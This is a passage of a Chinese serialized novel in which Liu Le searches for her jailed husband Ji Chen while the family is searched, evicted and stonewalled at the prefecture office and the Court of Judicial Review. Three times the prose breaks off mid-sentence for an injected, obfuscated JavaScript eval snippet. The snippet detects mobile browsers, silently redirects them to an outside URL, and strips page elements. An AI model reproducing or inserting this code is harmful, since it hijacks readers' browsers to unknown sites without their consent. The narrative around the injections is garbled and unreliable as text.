“扶他去躺下了。怎样？他连路都走不得，还想带他去！”董素娥大放悲声。 “晨大哥他……”柳乐不敢再问。 董素娥说不成话，高娴便指指计春，计春道：“说二弟从荥阳走以后，又派去一位钦差督工，刚去便发现坝上偷工减料，填的石料不够数。查下来，那边供出是二弟作准的，说二弟早就收了贿赂，故意出了少工少料的方案，为的是能缩短工期，好名利双收。” “已经定了罪？”柳乐问。 “还没有，现在是收监候着，还要拘荥阳那边的人犯进京，双方对理后再审。” 董、高原是吓得呆了，只弄明白三四成，计春再讲一遍，方晓得了个大概，一时都止了哭，愣着听二人说话。 柳乐此时心已放下一半，“知道缘由就行。晨大哥为这一处大坝费了那么多心血，他说要建成什么样子，用多少工料，一定就该是那样，绝不是糊弄人；而且那方案早就有人看过，都说可行。就算他对筑造过程不是每一步都在行，被那边瞒报了石方，只要再重新算一遍，两边一对，很容易对出来。荥阳的人何时能到，这期间难道一直关着晨大哥？” “可不是要关着他！我也说晨儿不会，可他们为何，为何还要抄咱们家呢？”董素娥喊道。 11. 搜身与府衙 “要抄家？”柳乐愣住，“所以门口站着那么些人？案子都没审，有没有罪且不知，凭什么抄家？” “没说抄家。”高娴向她摇头，悄声说，“限我们三日内搬出去，这屋里的东西一概不许动，都要细细搜查。” “搜查什么？受贿的银两？”柳乐冷笑道。 “老天爷知道他们要找什么。”董素娥哭了几声，忽地想起一事，向柳乐问，“他可给了你什么没有？若有，快拿出来，说不定就救了他了。” “晨大哥不曾给过我任何可能是赃物的物件。”柳乐立即坚定地回答。 “我这一慌，脑子里都乱了。”董素娥拉着她，哭得几乎站不住，“你也是个可怜孩子，嫁给我儿才一日，你们就生生分离，又出了这档事情。” “母亲，我不怕也不怨，晨大哥很快就会没事。”柳乐扶董素娥坐下，转头问计春，“大哥，他们还说要带走父亲？” 计春又叹起气，高娴哭道：“他们说家里有职的都要带走审问，留下我们几个妇人家，可怎么办哪。” 计晴从后面过来，听见这几句话，未及细问情由，只道是天塌了一般，与大嫂抱头痛哭。一家子正凄凄惨惨、惶惶惑惑之时，管家又慌张地奔进来报说：“卢太医来了。” 董素娥急忙擦泪，柳乐等还不及避出去，那位早晨没请到的卢太医跟在一群官差之后走进大厅。差役们分列在两面站定，领头一位官员把脸转向卢太医，卢太医背着药箱，喘吁吁地上前问：“计大人现下在何处？” 董素娥看见人多，不由得腿脚发软，管家赶紧领太医向正屋走去，除却几名公差，其余人都一起跟着。 过了半刻钟，卢太医出来，朝那官员使个眼色。 官员对董素娥笑道：“计大人贵体抱恙，由家人侍奉休养，不敢打扰。请计寺丞随我们走吧。” 计春怕惊动父亲，立刻就到厅上来了，转身对董素娥道：“母亲不要过忧，此去未必是坏事，若能见到二弟，你们也好放心。父亲那里我先不去辞了，你们多保重。”向高娴看一眼，“照顾好爹娘。” 高娴哭得泪人儿一般，“你们带他去哪儿？等一等，带上些衣裳。”她向房间跑去，两个女孩计筠、计筱先前不知躲在哪里，这时都扑上来抱住计春双腿哭喊“爹爹”。 计春摸摸女儿的脑袋，示意养娘拽开孩子。 此一情景令人见之心酸，一干管事家人不禁都红了眼眶，官差却不为所动，只管催促计春向外走。 柳乐冲上前拦住问道：“计正辰关在哪儿？我们往何处送饭食？” 那人瞅都不瞅她一眼，只答一句：“计员外郎在哪儿我们不知。”便将计春推搡着出去了。 “你们是谁派来的？”柳乐追上去又问。 总算有个差人答了句：“我们奉府尹之命。” 高娴抱着包袱赶来时，计春已出了大门，正被押上一辆车。一名差役抓过包袱，高娴还想跟出去，被守门的兵士举刀格住。 “不许我们出门？”柳乐质问。 “出门可以，要先搜身。”守卫说着，拿眼向她胸前一扫。 强自抑住好久的悲愤一下子冲上脑门，柳乐不顾官差还在门前，不顾街上还有人看热闹，抡圆胳膊使力扇了对方一巴掌，“干脆把我也抓去好了！” 那人挨了一下，瞪起眼，却也理亏不敢还手，向四周看看，讪讪地嘟囔道：“咱们也是奉命，冲我刁什么？” 高娴拽过柳乐：“先进去吧，我们再想想办法。” 官差走后，宅院内一片死寂，只在计衔山屋外有压低的话语和抑不住的啜泣声。 柳乐一早请的太医已在外面候了多时，此时才放他进门。医者诊过计衔山，并无甚大碍，给他服下几粒安神丸，躺下睡好，又开方子，见计家不便取药，便说煎好让人送过来。董素娥千恩万谢，称出二两银子，送走太医，回屋悲道：“刚才卢太医过来瞧什么，你们父亲病成那个样子，还能是装出来的？” 柳乐忿忿地说：“他们行事哪有道理？莫说根本无凭无据，就是晨大哥身上真有不妥，也不能抓走家人。现在倒要我们为个莫须有的罪名连坐不成？” “说是家人也要问话，总不会还要来问我们？”高娴直愣愣瞪着她。 “来问倒好了，我也有话说呢。”柳乐冷哼道，“说我们全家串通，说家里藏着赃物？好么，现在不给我们出去，府里还有这么些人，总得要吃饭吧。” “让管事的去想办法。”董素娥悲叹连连，“你们回屋看看，紧要的东西收拾出来，就怕真的随时来抄，书房都已叫人封了。” 柳乐去书房外面一瞅，果然几间房门上都贴着封条，有一名军牢站在门口把守。她知道计晨书房中所有只是书籍、纸笔等物，无论那些人想找什么，定是找不到的，可是眼见别人要糟蹋自己珍视的东西，怎不令人生恨。柳乐仿佛看到计晨一本本买来的书被人撕毁的撕毁，抛掷的抛掷，眼里简直冒出火来。她三两步跑回卧室，打开妆台抽屉，取出计晨的来书，匆匆读了一遍。 信中自然有些情意绵绵的话语，但也并不过露。因为他们少年相识，多年来一直是朋友，又似兄妹，即便成了亲，也还是亲切多于缱绻。但她依然不愿这些信让别人看到。 她写给计晨的信甚至还要更平实，只是记叙自己日常所做所感。想到计晨或许将这些信带在身上，此时恐已被人搜了去，读来嘲戏取乐，她攥紧了拳。 柳乐捏着几张信纸坐了一会儿，又来到董素娥房间对她说：“母亲，晨大哥给我的信，全在这里了。我想晨大哥还是信任我的，他心里有事，不会有意瞒我。这些信里也提过他的公事，虽不多，但每个字都坦坦荡荡，请母亲过目。” 董素娥摇摇头，挤出一个慈爱的笑：“不用看，我还信不过他，信不过你么。” “母亲，晨大哥必没有事，咱们也不必害怕。”柳乐勇敢地说，董素娥只是心不在焉地点头。 “那这些，我就烧了。” “烧了罢。”董素娥乏力地摆摆手。 处理好书信，柳乐刚在床上歪着歇了片时，听见前头又嚷嚷起来，急忙去看。原来计衔山醒了，不肯吃药，挣扎着起床，口里喊着：“叫人来搜，搜不出，便会把晨儿放出来了。” 董素娥苦劝：“你先喝了药，你这样子别人也不敢来。等你好些，咱们搬出去，随他怎么翻。” 计衔山抢过药碗一口吞了，又一迭声令管家去找住处，即刻就要搬出去。 董素娥无法，只好当面吩咐管家先赁几间屋子，住得下家里几口人、能够生火做饭、一家人好临时落脚的，管家答应着去了，计衔山才安稳下来。 一时管家媳妇又来报说：“前后门的守卫全部换了，也来了两个穿裙子的。” “女牢头。”柳乐暗自哼一句。不过还有很多事要赶紧去办，也顾不得被搜身的羞辱，“我先去找我哥哥一起商量商量。”她告诉董素娥，想着家里的马车大概是不便出去了，遂让人雇一辆车等在后面巷外，回屋换了身不显眼的衣服，手上提一顶帏帽，同巧莺去了后门。 只见守卫的装束果然与之前有别，样子也严整了许多，个个笔直站着，眼睛不四处乱看。旁边小房内出来了两个妇人，布衣素裙，打扮得且是干净利落。柳乐走上前说：“我们要出门。” “请去吧。”两个人齐声答道。 “你们还是仔细搜一搜，省得回头再说我把涉案金银、物件偷带出去。” “不敢不敢。”两人直摆手，“我们是街上做浆洗的，老爷叫我们来贵府听候吩咐，怎敢对夫人小姐们不敬。” “哪位老爷？” “我们也不认得，不敢乱说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092362|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，左右是位官老爷。” 柳乐虽疑惑，见她们不说便罢了，倒不好意思，也向二人笑笑，出去找到车，向车夫说：“去府衙。” 柳乐心一急，没算好时候，赶到知府衙门时刚过了正午，一般人都吃饭休息去了，衙门口亦不见什么人。她一手扶着帽子，从胳膊两旁偷偷向左右望了一阵儿，只见到三两个平民眼也不抬地打门首经过。再犹豫了片刻，她一拉巧莺，急匆匆走进去。 从大门至仪门一路无人拦问，柳乐直入大堂，明镜高悬几个字下面空荡荡的，只有一个身穿号衣的小衙役正在扫砖缝，闻声他立起身，双手拄在扫把上，将柳乐细细打量了半晌。 柳乐上前问：“府尹在不在？” 小衙役笑道：“府尹老爷今日有公事出去了，若要报案子，报于吏目也是一样。”说着作势要向后头去叫人。 柳乐怕又是见到早上去计家那冷言恶语的官差，忙拦住他：“我是想问问——今日这里有没有进来一个人？” “府尹老爷一日都不在，也没有大人来访。” “不是——是被带进来的。” “你是说提来的犯人啊。”小衙役神情立马变了，懒洋洋塌下背，拖长腔道，“每日都有抓进来的，犯人的名字叫什么？” “不是嫌犯。”柳乐怒目瞪他，又忍气吞声地说，“姓计，计策的计。” 小衙役嘴一撇，“我不识字，不懂什么计不计，我去给你问问。”说着，却不动。 柳乐忙从袖中掏出一块碎银递给他，不由得脸就红了。 小衙役大大方方接过银子，看了一看，揣进袖里，脸上堆出笑：“你别急，稍等一等。”转身入内，半天方出来，“这儿就一个人姓计，上午刚来，叫做计正华的。” 柳乐听他说的是计春，心想那差官并没骗她，看来计晨确实不在这儿，不免失望，又问：“计正华是收在监里？可否允人探望？” “设班房做什么用的？案犯自然都关在里头，能不能探望我倒没问。”小衙役一面说，一面好奇地拿眼瞅着柳乐，“你是计正华什么人？” 巧莺气得娥眉倒蹙：“你又是什么人，就敢盘问我们？无凭无据关押人，还不许问，衙门是这样设的？咱们就等你们老爷回来，当堂评一评谁有理。” “哟——”小衙役跳开去，“姐姐莫怪我，我倒是好心给你们打问来着。本来家眷可以进监送饭，但这位大哥不知是为什么，上头一概不许人来探他，也不让我们多说。刚才就明明白白告诉我，只要有人问姓计的，一律回说不知道。你们与我纵扯破嘴也没用。”他见二人发愣，又凑近悄声道，“不过我看并不碍事，只要打点打点，在里头都好过。既托了我，这一两日我替你们想个法子，包他饿不着。要想见人，你们快回去另外寻人疏通。”他指指袖子，“这个分上，哪有不方便的事？只要使足了，哪怕杀头的官司，都能给你砍一个痛快的。行了，又有人来了，二位请便。” 来人是问一件失盗官司的下落，小衙役引着往后去了。柳乐呆站着，心里直犯愁，不知府尹是真不在还是假不在，他不肯露面，看来是打听不到更多了，他们这般严密防范又究竟为什么，而计晨，如今到底在哪儿？ 巧莺劝她说：“总算计大爷有个准消息，咱们回去告诉太太大奶奶，要她们快想办法送衣食进去。二爷……要么换个地方问问，姑娘你说他会不会在……” “去大理寺。”柳乐咬着牙说。 大理寺门首威严，气势凌人，比京兆府又不同。檐下两根合抱不拢的立柱，支着兽口般的门廊，令人望而生畏。两年多前柳乐来望禹冲时，并未注意这些，如今她也未注意，只是当日在监牢内的场景重上心头，她浑身冰冷，扶住巧莺：“只怕又不给见。这般没头乱闯，人家只道我们是束手无策，越发随意打发，先回去探听明白了再来。” 12. 搬家和大理寺 计宅里还是一片乱糟糟的，高娴先出来迎柳乐，柳乐忙告诉了府衙的情形，高娴叹道：“既饿不着就罢了，如今也顾不得许多，倒是二弟……唉，父亲一定要先搬出去才行，母亲又遭人骗了。” 高娴便把家中出的乱子讲了一遍：原来计衔山执意要立即搬，董素娥只得命人找房屋。管家带了个小厮，找到中人，看了几座宅院，其中一间两进的院子勉强合意，因要小厮回家先问一声，若好就拿五两银子定钱来。 那小厮见了董素娥，只把宅院天花乱坠吹上一通，又说管家要拿五十两银子，立即就写妥文书，省得被别人抢了去。 董素娥近些年虽还管家理事，可是和外头人打交道是很少亲自出面，不大懂这些，听见是管家的话便不疑有他，从箱中拿出五十两银子封了交与小厮。谁知那小厮带着银子，又顺手偷了屋内几样值钱物件，出门便再无踪影，不知去向。 管家等不及回来时，董素娥才知道吃了自家人算计，无奈计家身上还缠着官司，哪来的工夫再去报官缉拿盗贼，只是这口气不好咽下去，这才吵嚷起来。 “母亲胡乱疑别人，他们为去疑心便要走，到明日，只怕留不下一半人了。——要搬去的地方挤不了这些人，母亲又不放心谁留在家里。”高娴说。 柳乐恨不得转头再上衙门吵一场，并不为心疼五十两银子，也不是单恨那做贼的小厮，恨只恨莫名其妙天降横祸，又屋漏偏逢连夜雨。明明清清白白做人，却不能挺直腰杆，要被人家欺到头上来，如何气得过？ 高娴没精打采地说：“你快去收拾吧，明日就要搬家。” 柳乐醒过神：这只是开头，后面的难事还更多，如今先气得狠了，往后怎生应付？想到此处，她强打精神，将诸般烦恼抛至脑后，先去填饱肚子——这一整日还粒米未进，只因身心俱疲，连饥饱都觉不出了。 吃过饭，柳乐难免再想些话去安慰婆母，劝她不要过于着急，案子的事暂缓一二日不妨，先妥当搬了家、安顿好计衔山方是要紧。董素娥又有许多牢骚哭诉，柳乐借口要收拾东西，告退出来，回到屋内倒头便睡。 次日一早，果然有不少家人请辞——头天，董素娥已撵了两个看来不省心的小厮，剩下的十来口人，她寻思如今没有余力都养着，正好借此事清一清，便令管家召集家下人一一问明：有身契的可拿原价一半赎出去，没有身契的多给一月月钱，由各人自便。计家早先是小官之家，并没几口人，后头计衔山渐渐升了官，家业壮大，才或买、或雇添了些家丁，这些人既非长久在计家做事的，见计家一夜之间颓败，大半都宁愿走，就是仍被转卖，也并不十分担忧。 董素娥见仆役们大有一拍而散之意，又慌了，忙好言安抚，留下了不可少的几个：管家两口子，灶上买菜做饭的两位厨娘，两名小厮，一名丫环，高娴、柳乐、计晴各一名丫环，并计筠姐妹俩的一个奶妈。——其实董素娥暗地里仍嫌丫环太多，却没几个能做粗活，但首先柳乐的巧莺是从柳家跟来的，柳乐当然不许她走，而且若各人身边连一个丫环也不留，太不成个样子，最终只好如此。 这一日，为打点搬家要带的物件，各人都忙忙活活，又来了亲朋探问，直乱了一整天。傍晚时，董素娥让人雇好两辆马车、两辆大车来接，趁邻家正吃饭的时候，匆忙搬了几卷衾褥行李装上车，拉了全家人来到租的宅子。当夜天已经晚了，急忙分配好屋子：计衔山和董素娥占了三间正房，两边的耳房给计晴和两个孙女住，高娴和柳乐则分别住东西厢房，余者管事和家人媳妇等都挤在倒座内。 擦桌扫床，铺设被褥，又是一番忙乱，就寝时已到三更天，各自歇息，一宿无话。第二日一早起床，大家看清楚这院子有多么细窄，房屋多么狭小，心内愈发冰凉。 连柳乐也没住过这样小的屋子。柳家宅院同样是两进，但宽度足有这里两倍不止，她那间耳房比这里厢房还要阔大；再去看这儿的耳房，比鸽子笼好不了多少。不过柳乐不太在意，屋子收拾干净，能睡觉就行，其他人是过了好些年高堂广厦，仆役成行的日子，一夜之间就沦落到这等窄门窄户，岂能不心酸？计晴哭了一整晚，眼睛肿得睁不开了。 不过这里也有一样好处：地方偏僻，周围倒清净。现在董素娥最怕的就是遇见老熟人老街坊，此处也有几家比邻而居的，不过都是些破落户，自顾不暇，哪里还管隔墙的闲事。 柳乐本担心各色人等混杂，怕有翻墙偷盗之事，或有泼皮无赖骚扰，不想此处日夜巡逻打更的倒很准时，从无迟、漏，进出了几次，也没发现贼头鼠脑的人，渐安下心。此是后话。 且说搬家的第二日，柳乐不敢再耽搁，急忙去找柳图，寻个僻静地方，悄悄问：“哥哥，晨大哥会不会是在大理寺关着？” 柳图有些惊讶：“这我还不知道，你从何处得知，可确凿么？” 柳乐将前日的事如此这般说了，道：“哥哥你不是说府尹拿不了他，再说这种案子本该归大理寺管，我猜多半就是那里了。不过为何将计春大哥单独收在府衙，是不是他们兄弟也不许相见的意思？又说不许家人探望计春大哥，那要探望晨大哥恐怕更难了吧。” 柳图皱着眉：“按常理肯定是在大理寺，只是一点消息没透出来，我才犯嘀咕。如此说来，该当是你说的意思，不许计晨和家人见面，所以才不告诉人。既不许见，关在哪儿倒也区别不大。” “知道在哪儿才好想办法，就是见不着，多探些消息也好。”柳乐说着摇了摇头，“不行，必须尽快见到晨大哥，他父亲已经生了病，他母亲也担心得厉害，万一都病倒……还有爹爹，肯定也瞒不过几天了。无论如何我先去一趟大理寺。哥哥，你能找得到什么门路？” 柳图与妹妹的目光接上，急忙低下头，来回踱起步，“我想一想，此事非得求到大理寺卿或少卿大人头上才行，以下的人恐怕使不上力，可咱们和他们没有深交情，不然那时……” 柳乐懂得哥哥没说出的话：若打点得上，当日也不至于禹冲被判了流刑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092363|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候柳图和计晨都为禹冲奔走过，可最多只能使他在牢狱中不缺了吃穿，并影响不了审案、改不了判决。她想去见禹冲，但因没有定亲，算不得他的亲人，不便前往，尤其是柳图不肯要她去。她并非想要威胁家人，可她整日整夜不吃不睡，柳图实在看不过了，才带她去了一回。 如今她是计晨的妻子，她当然要去。 她对柳图说：“没关系，哥哥不必烦心，也不是非得求他们。我先去大理寺看看，我想我一个妇人家，想要看望丈夫，并不算大不得的事情，说不定便允我去了。只是几位大人都是谁，哥哥能不能先说与我听。” “大理寺卿是郑则愈大人，前不久他的老母亲过世，报了丁忧，回家去了。不过他本也不审案子。两位少卿，李元大人如今暂代郑大人，另一位是方见微，若在大理寺，案件八成会经他之手。”柳图看看柳乐，斟酌着慢慢说，“两年前也是这位方大人主管审案，那时他刚到任上，可惜我们互不识得，我也没直接找过他——同你去的一次只有当时的狱丞知道，谁知这人后来染病死了，不然我倒可以再向他打问。反正如今大理寺不会有人知道你，估摸也没人记得我。” 柳乐垂目想了一回，“我去碰一碰，被人认出也没什么，一事归一事。” “你若去，不要拣早上，他们上午审案，不相干的人不准进，中午下午再去。还有，方大人有个不好通融的名声，可千万别在他身上使银钱，搞不好落个行贿的把柄。” “我记着了。目前还不需去求他，只看他如何审案，若不公道……”柳乐咬了咬嘴唇，黯然地说，“我公公年迈患病，不得走动，大伯暂且又叫关押着，有些事我打听不到，只好劳烦哥哥多帮我。” “这是什么话，”柳图忙笑道，“妹妹放宽心，别说是妹夫，就我和计晨的交情，见他遇事，还能不理？我肯定想办法，你也不要怕，有拿不定的事只管找我，咱们商量，往衙门或者往家里送信都成。” 柳乐喉咙一哽，半晌说：“我先回去了，哥哥也回吧。” “等等，还有几句话。”柳图一面说，一面在日常所携装公文等物的皮袋中去掏，“你们搬家的事，我已告诉母亲了，我怕她万一跑去不见人，还不得着急，反倒叫父亲听见。” “娘没太担心吧。”柳乐不安道。 “没有，娘看得开，只说要你别急坏了。——这些拿上。”柳图掏出一只布袋塞到柳乐手里。 柳乐隔着袋子一摸，摸出是一大包碎银子，约莫重二三十两，慌忙要还给柳图：“用不着，晨大哥那时留了些钱，平日没有用处，还剩着不少呢。” “收着收着。”柳图连连皱眉，“你日常花用。我知道你们搬家肯定匆忙，东西未必带得齐全，有些急用的尽管买，不够了我还有。”他硬是把银子留给柳乐。 柳乐回到新的居处，正逢高娴也从衙门回来。一问，还是没给见人，只把饭送了进去。柳乐瞧时候不早，赶紧收拾几样东西，往大理寺去了。 13. 牢子和寺丞 因已到了下午，公堂空敞着无人，柳乐停下想了一会儿，拐到旁边牢房院子。大理狱和大理寺衙门在同一道巷内，中间隔着院墙，另有出入口。柳乐来过一次，依稀记得探视囚犯是走东边一道小门，过去一瞧，门口站两个皂隶，又闻院子后头有些嘈杂之声，她径走上前，提提手中的食盒：“我来送饭。” 两人都盯着她看，一个伸出手：“字条？” “什么字条？”柳乐问，“我头一次来，不熟悉你们的规矩。” “探看囚犯，须得寺丞大人批准，写在纸上，盖了印信，拿来我们瞧过，方可入内。” 柳乐轻轻顿一下脚，懊恼道：“我不知还要这个，不曾备得。只是东西已带了来，怕凉了不好吃，还请大哥行个方便，先为我拿进去。”不待人问，她便说，“送给新来的一位，叫做计正辰，有劳大哥了。” 她细觑二人神情，见无异样，暗道果然没料错，心里振奋了一些，脸上摆出更着急的表情。 “打开——”一人向食盒示意。 柳乐忙揭开盖子让他们瞧，里面装的是她刚才在街上买的一屉烧卖。 那人瞅了瞅，抓起一只塞入口中。 巧莺赶紧把手中拎的一壶酒和一只烧鸡递上去，“多承大哥帮忙，感激不尽，两位大哥请用这个。”她将包着烧鸡的纸撕开口，香味一阵阵飘出来。 两人一笑，大刺刺接了酒和鸡，却又看着柳乐说：“带进里面的东西都得检查，你一个个翻开，要么我们自己翻。” 柳乐压根没想过送饭时夹带物品进去，可他们却有理由起疑，她只得忍耐着，把烧卖挨个拿起来，让他们看清下面什么也没藏。 她知道这些牢子狱卒都是粗鲁蛮横之人，但并不怕他们，因己身无罪，也不感到羞耻，可这时候在两个人四只眼睛注视下，她的手指不禁有些哆嗦。 好容易把烧卖都翻过一遍，柳乐抬眼盯住他们，狱吏再不说什么，一人抓过食盒，转身进里面去了。 等他出来还回空盒，柳乐问：“请问大哥是交到计正辰手中吗，他可说得什么话？” 狱吏笑道：“他没话给你。有，我们也不敢传。”说罢，和另一个互瞧一眼，两人自管哈哈大笑。 柳乐气得扭头便走，出来问明管犯人的寺丞所在，瞅空上前行礼道：“大人，小妇人乃计正辰的家眷，家夫因被告收取财贿、督工不力一事，收监在此，已有二三日了，家人日夜着急，乞大人开恩，准许探望。” 寺丞看看她，捻着胡须说：“此案特殊，必须方大人点头才行。方大人不许，下官做不得主。” “何处特殊？”柳乐问，见他只是支吾，便说，“那么求大人引我去拜见方大人。” 寺丞又是摇头：“案子还没审，方大人要避嫌疑，不能见你。” “方大人何时会审此案？” “这个还说不准，要等共案之人全部到京，方可过堂。” 那天计春也是这样说的，柳乐无法，又问：“既然官司一时结不了，为何不能允家人先进去探视？便是立斩的大盗，若有亲人，尚能见一面。家夫不曾定罪，至多算个疑犯，却将他严密关押，隔绝亲人，于理于法不合。莫非已对他滥用了刑罚，怕人知晓？” 寺丞收起笑脸，指柳乐道：“你这小女子，休要胡言。计正辰一案重大，圣上也要过问的。倘有同党在外，借探视之机与案犯里应外合，销毁赃物证据，谁担干系？方大人断案自有条理，你且去候着，传家人时你再来。犯人衣食我们自会照管，不消乱疑。” 柳乐冷笑说：“堂堂大理寺，这么多查案官员，连个里应外合都防不了？实在不放心，会面时请大人在场监视总可以吧，若我们是窝家、同党，正好一网打尽。” 寺丞亦冷冷答道：“人多乃是由于事多，每日少说十余个状子递进来，都丢下不理，单为你们行方便？下官还有事情，请回吧。”说罢走去别处，闭门不出了。 柳乐干生气了一会儿，转身慢慢回家。 以后她每日都来，几位寺丞都见过了，几人都是一样声口，无非推脱之语，而那位真正主事的方大人却是神出鬼没，无论如何设法，总也见不着他一面，得不着一句准话。就连送饭一事，虽眼看着是送进去了，却如雪花落水，无声无息，让人通不得一点儿头绪。一家人无可奈何，每天垂头丧气。 事情过去好几天，还没搞清楚究竟是何名堂，饶是性子再好的人，也不免焦躁，况且柳乐本有几分性急，虽然知道无益，忍不住就要和那些当差的起争执。 这天，她带的饭食是一盒酥油鲍螺。这种点心是拿乳酪做的，最是一样美味的吃食。那些讲究吃喝的富贵闲人们，舌头上尝过了咸的鲜的酸的辣的，最后偏就想这甜而不腻、厚而不重的东西收尾——放入嘴中一忽儿就融了，只留甜香满口，再酽酽地喝一碗茶，当真赛过神仙。 但牢狱却又是最不能讲究的一个地方，任你先前过得是怎样穷精极雅，只要关进来不得自由，眼前见的便只有石墙铁栅，身下卧的只有土炕破席，鼻里闻的是屎尿汗臭，口中吃的当然也只能是相配的粗糙食物。若是穷人，家中赊些陈烂的米面、再挖几棵野菜做了送来，和他平日的饭食倒也差不太多；家境好的，能吃上米饭、包子，甚或有鱼有肉，可他原先在家吃用的，还要好上十倍，他习不习惯？——不惯着不惯着也就惯了，只求能填饱肚皮。谁家里会为他口腹享受，送酥油鲍螺这种宴席上端出来的精致点心？ 门口两个牢子打开食盒，果然先笑起来，一人拿手夹了一个，一口送入肚中，舔着嘴唇道：“香甜是香甜，未免不够实惠。” 柳乐由他们取笑，只作是耳旁风。 等牢子送进东西出来，她便问：“可是送到计正辰手中，他说什么没有？” 牢子像往常一般答复几个字：“送到了，无话。” “他没说一个字？” “咦，”牢子瞅着她笑道，“想是今日专门费工夫做了这些来，指望他说一句：‘告诉我的娘子，待我出去，一定好好报答她。’” 柳乐一张脸铁青：“他从来不吃牛乳羊乳，看到家里送这样东西，定有话要问，可知你们根本没送给他！他究竟在哪儿？东西又送哪里去了？” 那牢子见被说破，扯着嘴勉强笑了一笑，口里说：“我们又没要你送饭来，也没饿着他，吃什么不是一样？你不送，咱们还少一道麻烦。” “如何不早说？”柳乐怒冲冲迈上一步，直逼到这两人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092364|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。 旁边一位妇人瞧见，把柳乐拽到她身后，从中劝解说：“这两位大哥平日也是火热心肠，好与人结义的，就是嘴巴油，口里没正经惯了。你们也不看这位娘子是大家举止，腼腆脸嫩，哪能和对我们一般。你们把规矩和她明明白白说了就是，不然告到你们老爷那里去，难道咱们的青天大老爷还许你们消遣人？” 两人这才正告柳乐道：“大人已经吩咐了，这位计相公有罪无罪还不分明，又不得见亲友家人，须用心照看他衣食，不可出半点差池。每日饭菜都有人做了给他，吃得和大人们一样好，你送了东西进去，这些饭菜怎办？扔了可惜，不扔又没人敢吃——大人知道还要见怪。所以我们不曾送你的东西。上头还有令，若有消息传出去，凡与计相公说过话的都要严加查问，看谁口里走了风。除了大人指的一二人，我们哪个敢往他跟前去？所以带话也带不了。并非我们有意欺哄你，实是上头盯得紧。我们这差事没钱，事却大，何况一家几口的吃喝都系在身上，先前看娘子年小斯文，老着脸受了你的，这是我们不是；以后也不用拿东西来，计相公我们也帮不上，请娘子莫再为难我们。” 柳乐忖度这回二人说的是实话，虽被他们骗了几日，也没处诉，——两个小小狱卒若此，整个大理寺上下可知。他们假作漫不经心实则圆睁了眼目盯着计晨，说不定就连她自己的举动也被人留心着。计晨做了什么值得被如此猜忌？柳乐心中激愤，下定决心要弄明白，明知此处问不出，还是问了句：“哪位大人吩咐的？” “这可不知道，是由我们顶头上司传下话来。这里除了犯人，全在我俩之上，哪个都是大人，我们只管遵令，别的不敢问，更不敢信口胡说。” 那妇人就把柳乐拉到一边。她也是来给人送饭的，两人打过照面，每回她总拿眼将柳乐左右打量，柳乐顾不上，没大理会。经这一场，算结识了，妇人自报家门说：“我姓张，夫家和娘家都姓张，我家中男子汉在里头关着。”她又把柳乐浑身上下细细看了一回，好奇地问，“这么说你也是来探你丈夫？” 柳乐点点头，又摇摇头：“我还没有见着他。” 那妇人听了，满脸显出同情之色：“怎么不许你进去？” “是为案子还没结，怕有同党，通了消息。” “他犯了何事？”妇人瞪眼问。 “不曾犯事。是受人诬告，诬他贪银，误了公事。”柳乐不愿详说。 妇人呆了一呆，啧啧惊叹：“原来你男人是个官老爷啊。我说呢，那一起奸盗的囚犯，屋内怎讨得这样美貌的夫人？” 柳乐厌烦这种话，想要走，妇人拦住说：“你别急，在这儿等等我，我进去就来。我男人在里头几日了，我问问他可见过你家官人没有。” 柳乐一听这倒是个办法，便立住了。 一时妇人出来，把柳乐拉过一边僻静处，告诉她说：“没见过。不过告诉我说后头有独个儿的屋子，不和另些人在一处——别人都是好些人关一间牢房，围着天井一圈。那些牢子在院中穿来穿去的，囚犯们都看得见，我家汉子就说这几天每日往后头送食送水走得勤着呢，就不知关着什么人，没见提他上过堂。我看八成就是你家官人，这下你可把心落下去了吧。” 14. 清官与奸商 大理寺监牢的情形柳乐只依稀知晓：之前去探禹冲，柳图为不叫其他犯人看见她，特意买通狱丞，让把禹冲带出来到一间小囚室与她单独会面。那时她从大牢房的后面绕过去，听见了犯人们的吵闹声，十分嘈杂刺耳。她想，莫不是计晨就关在她去过的那一间囚室内？宁可不是，那个屋子给她留下了十分凄惨可怖的印象。不过若真是计晨，证明他们所言不虚，他的确是在候审，至少现在人还没事，她心中松快了点儿，谢了张氏，说：“别的我倒不怕，只是案子一直拖着不审理，又不放人进去会面，这才着急。” “哎呀，有吃有喝，你急什么，不去便不去吧，真去不得——你不知牢里光景，连我还嫌腌臜，别说你这样娇滴滴的小娘子，万一染上瘟病不是闹着玩的。”张氏一头发急，嚷嚷了几句，一头又笑着说，“不过你家官人到底是做官的，比别个儿优待，把他一个人关着，虽是坐牢，也就算逍遥自在了，只有一桩不足——怕是想你想得紧。” 